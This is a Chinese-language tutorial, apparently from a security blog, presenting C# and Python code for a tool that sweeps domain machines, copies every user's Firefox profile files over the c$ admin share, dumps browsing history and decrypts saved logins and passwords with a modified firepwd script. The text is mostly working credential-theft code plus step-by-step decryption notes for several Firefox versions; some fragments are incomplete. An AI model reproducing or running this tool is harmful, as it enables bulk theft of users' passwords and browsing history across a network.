Firefox 版本 <32 (key3.db, signons.sqlite) Firefox 版本 >=32 (key3.db, logins.json) Firefox 版本 >=58.0.2 (key4.db, logins.json) Firefox 版本 >=75.0 (sha1 pbkdf2 sha256 aes256 cbc used by key4.db, logins.json)
0x01 前置
firefox配置记录在%APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default\，其中X为8位随机符，后面有可能跟了一些字符。
在域内批量导出firefox浏览器配置文件，然后改了下firepwd自动化读取文件。
firefox版本小于32没写，如果需要可以自行在代码里面添加如下代码。
string firefox_signons = "signons.sqlite";
string firefox_signons_path = FindFile(ProfilePathss, firefox_signons);
if (firefox_signons_path != "")
{
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("[+]" + firefox_signons_path);
Console.WriteLine("[*]version > 58.0.2");
Console.ForegroundColor = ConsoleColor.White;
//copy file
string signons_file_path_cuurent = UserFolder + "\\" + firefox_signons;
StreamWriter signons_file_cuurent = File.CreateText(signons_file_path_cuurent);
signons_file_cuurent.Close();
bool isrewrite = true;
File.Copy(firefox_signons_path, signons_file_path_cuurent, isrewrite);
}
0x02 批量判断
首先读取machine.txt然后判断是否存活接着批量判断是否存在配置文件，然后在本地创建机器名用户名以及对应的配置文件。
1.存活判断(面向百度)
public static bool IsMachineUp(string hostName)
{
bool retVal = false;
try
{
Ping pingSender = new Ping();
PingOptions options = new PingOptions();
// Use the default Ttl value which is 128,
// but change the fragmentation behavior.
options.DontFragment = true;
// Create a buffer of 32 bytes of data to be transmitted.
string data = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
byte[] buffer = Encoding.ASCII.GetBytes(data);
int timeout = 800; PingReply reply = pingSender.Send(hostName, timeout, buffer, options);
if (reply.Status == IPStatus.Success)
{
retVal = true;
}
}
catch (Exception ex)
{
retVal = false;
//Console.ForegroundColor = ConsoleColor.Red;
//Console.WriteLine("[-]" + ex.Message);
//Console.ForegroundColor = ConsoleColor.White;
}
return retVal;
}
读取machine.txt然后丢给IsMachineUp方法
如果机器存活，在本机创建FireFoxInfo目录
string currentpath = Directory.GetCurrentDirectory();
FireFoxInfo = currentpath + "\\FireFoxInfo";
Directory.CreateDirectory(FireFoxInfo);
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[*]" + machine);
Console.ForegroundColor = ConsoleColor.White;
然后获取c:\users\目录下的用户目录再判断firefox配置文件是否存在与改用户目录，如果存在则在本地继续创建对应的用户目录，方便于区分
string userpath = @"\\" + machine + @"\c$\users";
var user_list = Directory.EnumerateDirectories(userpath);
foreach (string user in user_list)
{
string username = substring(user);
string ProfilePathss = user + "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles";
if (Directory.Exists(ProfilePathss))
{
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("[*]" + user);
Console.ForegroundColor = ConsoleColor.White;
//create machine directory
string MachineFolder = FireFoxInfo + "\\" + machine;
Directory.CreateDirectory(MachineFolder);
//create user direcotry
string UserFolder = MachineFolder + "\\" + username;
Directory.CreateDirectory(UserFolder);
接下来我们需要判断是否存在一下文件
Firefox 版本 <32 (key3.db, signons.sqlite) Firefox 版本 >=32 (key3.db, logins.json) Firefox 版本 >=58.0.2 (key4.db, logins.json) Firefox 版本 >=75.0 (sha1 pbkdf2 sha256 aes256 cbc used by key4.db, logins.json)
string old_firefox_key = "key3.db";
string firefox_key = "key4.db";
string firefox_json = "logins.json";
string firefox_cookie = "places.sqlite";跟到FindFile方法。
public static string FindFile(string filePath, string fileName)
{
string returnstr = "";
DirectoryInfo[] dateDirArr = new DirectoryInfo(filePath).GetDirectories();
foreach (DirectoryInfo directoryInfo in dateDirArr)
{
//Console.WriteLine(directoryInfo);
string Directoryfullpath = filePath + "\\" + directoryInfo;
string Filefullpath = Directoryfullpath + "\\" + fileName;
if (!File.Exists(Filefullpath))
{
FindFile(Directoryfullpath, fileName);
}
else
{
returnstr = Filefullpath;
}
}
return returnstr;
}
遍历目录以及子目录，如果存在则返回全路径，反正返回空。
0x03 历史记录
历史记录存在与places.sqlite库的moz_places表里面
所以我们在当前用户目录创建文件夹然后创建history.txt记录值,不要忘记关闭打开的sqlite数据库。
if (firefox_cookie_path != "")
{
//copy
string cookie_path_current = UserFolder + "\\" + firefox_cookie;
StreamWriter cookue_file_cuurent = File.CreateText(cookie_path_current);
cookue_file_cuurent.Close(); bool isrewrite = true;
File.Copy(firefox_cookie_path, cookie_path_current, isrewrite);
SQLiteConnection connect = new SQLiteConnection(@"Data Source=" + cookie_path_current);
connect.Open();
string sql = "select * from moz_places";
SQLiteCommand command = new SQLiteCommand(sql, connect);
command.CommandType = CommandType.Text;
SQLiteDataReader r = command.ExecuteReader();
string gethistorypath = UserFolder + "\\history.txt";
StreamWriter history = File.CreateText(gethistorypath);
history.Close();
string HistoryMemberof = "user:" + username + "\r\n\r\n";
File.AppendAllText(gethistorypath, HistoryMemberof);
while (r.Read())
{
string url = Convert.ToString(r["url"]);
string title = Convert.ToString(r["title"]);
string description = Convert.ToString(r["description"]);;
string out_string = "url:"+url + "\r\n" + "title:"+title + "\r\n";
File.AppendAllText(gethistorypath, out_string);
}
connect.Close();
}
0x04 下载db和json
同理直接下载json文件和db文件。我们可以打开看看logins.json文件内容。
这里引用文章：https://www.cnblogs.com/unicodeSec/p/14875364.html
Firefox 版本 >= 58.0.2 < 75
根据上述的描述，解密Firefox存储在本地的登录信息需要以下步骤：
找到当前计算机Firefox的profile目录，检查key4.db和logins.json文件是否存在。
如果存在，从key4.db中提取已编码+加密的password-check数据，先ASN1解码然后使用3DES解密被加密的password-check字符串（这样做是为了确认提取的密码是否正确）。
从key4.db中提取编码的+加密的主密钥 ，ASN.1解码，然后3DES解密主密钥。
从logins.json中读取加密的登录名和密码，ASN.1解码，然后3DES使用主密钥解密登录数据
Firefox 版本 >= 75
和Firefox 版本 >= 58.0.2 < 75不同的是，在加密password-check数据和主密钥使用了hmacWithSHA256的哈希算法和AES256 cbc的加密算法，所以解密步骤如下所示：根据上述的描述，解密Firefox存储在本地的登录信息需要以下步骤：

Console.WriteLine("[*]version >= 58.0.2");

string json_file_path_cuurent = UserFolder + "\\" + firefox_json;
StreamWriter json_file_cuurent = File.CreateText(json_file_path_cuurent);

File.Copy(firefox_json_path, json_file_path_cuurent, isrewrite);
string firefox_key_path_cuurent = UserFolder + "\\" + firefox_key;
StreamWriter firefox_key_cuurent = File.CreateText(firefox_key_path_cuurent);
firefox_key_cuurent.Close();
File.Copy(firefox_key_path, firefox_key_path_cuurent, isrewrite);
}
if (firefox_json_path != "" && firefox_old_key_path != "")
{
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("[+]" + firefox_old_key_path);
Console.WriteLine("[+]" + firefox_old_key_path);
Console.WriteLine("[*]version > 58.0.2");
Console.ForegroundColor = ConsoleColor.White;
//copy file
string json_file_path_cuurent = UserFolder + "\\" + firefox_json;
StreamWriter json_file_cuurent = File.CreateText(json_file_path_cuurent);
json_file_cuurent.Close();
bool isrewrite = true;
File.Copy(firefox_json_path, json_file_path_cuurent, isrewrite);
string firefox_key_path_cuurent = UserFolder + "\\" + old_firefox_key;
StreamWriter firefox_key_cuurent = File.CreateText(firefox_key_path_cuurent);
firefox_key_cuurent.Close();
File.Copy(firefox_old_key_path, firefox_key_path_cuurent, isrewrite);
}
执行效果
0x05 解析密码
这里改的firepwd来自动解析我们的FireFoxInfo文件夹。修改下传参即可
target_path = []
dir = "C:\\Users\\Administrator\\Desktop\\c#\\FireFoxThief\\FireFoxThief\\FireFoxThief\\bin\\Release\\FireFoxInfo\\"
for root, dirs, files in os.walk(dir):
for file in files:
path = os.path.join(root,file)
if("logins.json" in os.path.join(root,file)):
path = path.replace("logins.json","")
target_path.append(path)for i in target_path:
print(i)
key, algo = getKey( options.masterPassword.encode(), Path(i) )
if key==None:
sys.exit()
#print(hexlify(key))
logins = getLoginData(i)
if len(logins)==0:
print ('no stored passwords')
else:
print ('decrypting login/password pairs' )
if algo == '1.2.840.113549.1.12.5.1.3' or algo == '1.2.840.113549.1.5.13':
for i in logins:
assert i[0][0] == CKA_ID
print ('%20s:' % (i[2]),end='') #site URL
iv = i[0][1]
ciphertext = i[0][2]
print ( unpad( DES3.new( key, DES3.MODE_CBC, iv).decrypt(ciphertext),8 ), end=',')
iv = i[1][1]
ciphertext = i[1][2]
print ( unpad( DES3.new( key, DES3.MODE_CBC, iv).decrypt(ciphertext),8 ) )
print("\r\n")
最后效果。
